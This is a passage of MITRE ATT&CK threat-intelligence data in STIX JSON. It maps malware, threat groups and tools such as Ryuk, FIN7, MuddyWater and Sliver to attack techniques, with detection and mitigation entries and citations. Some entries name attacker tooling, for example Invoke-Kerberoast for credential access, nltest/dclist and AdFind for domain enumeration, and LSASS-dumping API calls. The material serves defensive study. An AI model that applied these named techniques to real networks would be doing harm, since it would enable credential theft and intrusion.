2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.039Z","description":"[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system. (Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df0d2dad-d384-4501-b2bc-659a7877489b","type":"relationship","created":"2021-04-08T18:09:43.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.068Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used ps to list processes.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df0d3103-a054-43a5-9b18-d40977171736","created":"2022-07-25T17:48:05.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T19:59:14.275Z","description":"[Mongall](https://attack.mitre.org/software/S1026) has been packed with Themida.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--df0ee75f-5e10-40d7-a0ac-e6c281e0d4b9","created":"2021-04-12T12:44:34.250Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used LZMA and base64 libraries to decode obfuscated scripts.(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:40:25.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df0f23e4-79c0-40e5-88ea-0ec4f07302d2","created":"2024-05-20T20:25:11.991Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:25:11.991Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used multiple mechanisms to capture valid user accounts for victim domains to enable lateral movement and access to additional hosts in victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df129c4a-eb83-45be-9f38-a12de69ccedd","created":"2024-09-16T09:26:49.705Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:26:49.705Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used HTTPS for command and control.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df13cae2-4e20-4e89-ae60-6bd8b99e2342","created":"2020-05-13T17:16:11.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T17:55:00.850Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [AdFind](https://attack.mitre.org/software/S0552), nltest/dclist, and PowerShell script Get-DataInfo.ps1 to enumerate domain computers, including the domain controller.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df1b67d2-8a37-4803-a05d-9bbdb0f30819","created":"2021-04-08T15:41:46.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"group-ib_muddywater_infra","description":"Rostovcev, N. (2023, April 18). SimpleHarm: Tracking MuddyWater’s infrastructure. Retrieved July 11, 2024.","url":"https://www.group-ib.com/blog/muddywater-infrastructure/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-29T15:08:51.515Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used legitimate applications ScreenConnect, AteraAgent and SimpleHelp to manage systems remotely and move laterally.(Citation: Trend Micro Muddy Water March 2021)(Citation: Anomali Static Kitten February 2021)(Citation: Proofpoint TA450 Phishing March 2024)(Citation: group-ib_muddywater_infra)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df1cdf5d-aaca-4a6f-ac5f-2506df830f62","created":"2022-07-29T19:43:35.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:15:25.166Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to remove values it writes to the Registry.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-17T14:46:22.033Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) creates a directory, %USERPROFILE%\\AppData\\Local\\SKC\\, which is used to store collected log files.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df2305ae-62e0-4394-aa37-18c960380069","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor emond rules creation by checking for files modified in /etc/emond.d/rules/ and /private/var/db/emondClients.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df2a0a3b-1a23-4148-a0f7-ed5b45a0d095","type":"relationship","created":"2021-09-16T19:47:34.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver HTTP","url":"https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2","description":"BishopFox. (n.d.). Sliver HTTP(S) C2. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:19:49.441Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can use standard encoding techniques like gzip and hex to ASCII to encode the C2 communication payload.(Citation: GitHub Sliver HTTP)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df2f463d-f36a-467d-a403-cad99f5df2e9","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly constructed files from files that write or overwrite many files to a network shared directory may be suspicious.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df33a65c-1529-4f8d-a27b-0d00f540e6e6","type":"relationship","created":"2021-03-24T14:10:06.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.469Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used mshta.exe to execute malicious payloads.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df3548d1-800d-4d18-8566-3a5fe925a2ef","type":"relationship","created":"2021-03-30T18:26:25.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI RYUK RANSOMWARE","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf","description":"ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}],"modified":"2021-03-30T18:26:25.083Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) can create .dll files that actually contain a Rich Text File format document.(Citation: ANSSI RYUK RANSOMWARE)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df392629-4630-44a8-92a2-418b414a793b","created":"2023-02-27T22:55:25.375Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-27T22:55:25.375Z","description":"Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df3c2022-f649-45f5-a987-5ba7a766a058","created":"2021-09-23T12:44:50.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.063Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used Kerberoasting PowerShell commands such as, `Invoke-Kerberoast` for credential access and to enable lateral movement.(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df3c4e4d-9766-4673-ab1f-2210ecc50764","created":"2020-12-14T17:34:58.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:15:30.247Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) can propagate via peer-to-peer communication and updates using RPC.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df3c6782-1a01-4627-9715-f2a10cf2c0d9","created":"2024-03-21T21:23:26.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TCC macOS bypass","description":"Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.","url":"https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-15T21:15:22.735Z","description":"Routinely check applications using Automation under Security & Privacy System Preferences. To reset permissions, user's can utilize the `tccutil reset` command. When using Mobile Device Management (MDM), review the list of enabled or disabled applications in the `MDMOverrides.plist` which overrides the TCC database.(Citation: TCC macOS bypass)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df408868-c30e-4bf0-b42c-b115955b1595","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:55:00.250Z","description":"Monitor for API calls that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. OS API calls associated with LSASS process dumping include EnumProcesses, which can be used to enumerate the set of processes running on a host and filtered to look for security-specific processes. \n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df448a33-e3b7-495e-98a7-ea1793d547d4","created":"2022-10-19T15:45:32.107Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T15:45:32.107Z","description":"Monitor the creation and modification of cloud resources that may be abused for persistence, such as functions and workflows monitoring cloud events.","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-17T00:10:53.865Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df495b82-7bf4-4b1c-b72a-03dc1df07b7a","type":"relationship","created":"2020-03-12T21:00:53.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Executable Installers are Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-09-16T19:10:04.418Z","description":"Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.(Citation: Executable Installers are Vulnerable)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df4b0683-e6a7-4da4-9544-c6eded007412","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.579Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) checks for anti-malware products and processes.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df4b49f1-71ca-4744-8554-47bf36174d89","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.571Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double 